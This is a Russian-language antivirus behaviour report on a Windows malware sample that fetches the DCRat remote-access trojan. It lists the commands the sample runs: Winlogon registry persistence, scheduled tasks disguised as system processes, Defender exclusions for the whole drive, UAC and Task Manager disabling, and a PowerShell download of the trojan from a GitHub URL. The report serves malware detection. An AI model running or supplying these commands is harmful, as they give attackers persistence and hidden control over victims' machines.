Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,%WINDIR%\ru-RU\system-starter.bat,'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\shellexperiencehosts
- <SYSTEM32>\tasks\shellexperiencehost
- <SYSTEM32>\tasks\firefoxf
- <SYSTEM32>\tasks\firefox
- <SYSTEM32>\tasks\runtimebrokerr
- <SYSTEM32>\tasks\runtimebroker
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionPath 'C:\'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/kms/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MsPortComPerf/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/yeiylg/'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\uvywjgrrzkmh.bat
- %TEMP%\ndjtclidgbny.bat
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
- nul
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
- %TEMP%\17316.exe
- C:\msportcomperf\l1izvqnnzd66okiklx.bat
- C:\msportcomperf\comcrt.exe
- C:\msportcomperf\uzu8ymt4t0a5oaxxdz.vbe
- C:\msocache\all users\{90160000-0117-0409-0000-0000000ff1ce}-c\access.en-us\shellexperiencehost.exe
- C:\msocache\all users\{90160000-0117-0409-0000-0000000ff1ce}-c\access.en-us\f8c8f1285d826b
- C:\recovery\windowsre\firefox.exe
- C:\recovery\windowsre\0fc223bdacedc3
- C:\kms\runtimebroker.exe
- C:\kms\9e8d7a4ca61bd9
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\comcrt.exe.log
- %TEMP%\c623a3e0-0b33-4e7d-a32d-777384cda39b.vbs
- %TEMP%\6510af9ccc0bfcf40951acb1a733edcd209d1d14.exe
- %TEMP%\c3a1f93b-bb48-4c9b-8c17-c4709ffe2419.vbs
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\17316.exe
Сетевая активность
Подключается к
- 'gi##ub.com':443
- 'ra#.####ubusercontent.com':443
- 'x1.#.lencr.org':80
- 'cn###141.tw1.ru':80
TCP
Запросы HTTP GET
- http://x1.#.lencr.org/
- http://cn###141.tw1.ru/L1nc0In.php?ws############################################################################################################################################################...
Другие
- 'gi##ub.com':443
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ke##uth.win
- DNS ASK gi##ub.com
- DNS ASK ra#.####ubusercontent.com
- DNS ASK x1.#.lencr.org
- DNS ASK mo#####.map.fastly.net
- DNS ASK cn###141.tw1.ru
- DNS ASK ip##fo.io
Другое
Ищет следующие окна
- ClassName: 'EDIT' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\17316.exe'
- '%WINDIR%\syswow64\wscript.exe' "C:\MsPortComPerf\uzU8ymT4t0a5oAXXdz.vbe"
- 'C:\msportcomperf\comcrt.exe'
- 'C:\recovery\windowsre\firefox.exe'
- '<SYSTEM32>\wscript.exe' "%TEMP%\c623a3e0-0b33-4e7d-a32d-777384cda39b.vbs"
- '<SYSTEM32>\wscript.exe' "%TEMP%\c3a1f93b-bb48-4c9b-8c17-c4709ffe2419.vbs"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Uvywjgrrzkmh.bat" "
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Ndjtclidgbny.bat" "
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -window hidden -command ""
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\timeout.exe' /t 8 /nobreak
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "<SYSTEM32>\userinit.exe,%WINDIR%\ru-RU\system-starter.bat," /f
- '<SYSTEM32>\timeout.exe' /t 3 /nobreak
- '<SYSTEM32>\cacls.exe' "<SYSTEM32>\config\system"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-Webrequest 'https://github.com/moyaki485-svg/pack-viruses/raw/refs/heads/main/DCRatBuild.exe' -OutFile 17316.exe"
- '<SYSTEM32>\attrib.exe' +h %TEMP%\17316.exe /s /d
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\MsPortComPerf\L1izvQNnZD66oKIklx.bat" " (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "ShellExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\ShellExperienceHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\ShellExperienceHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "ShellExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\ShellExperienceHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefox" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "firefoxf" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\firefox.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\kms\RuntimeBroker.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\kms\RuntimeBroker.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\kms\RuntimeBroker.exe'" /rl HIGHEST /f
- '%WINDIR%\syswow64\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- 'C:\recovery\windowsre\firefox.exe' (со скрытым окном)
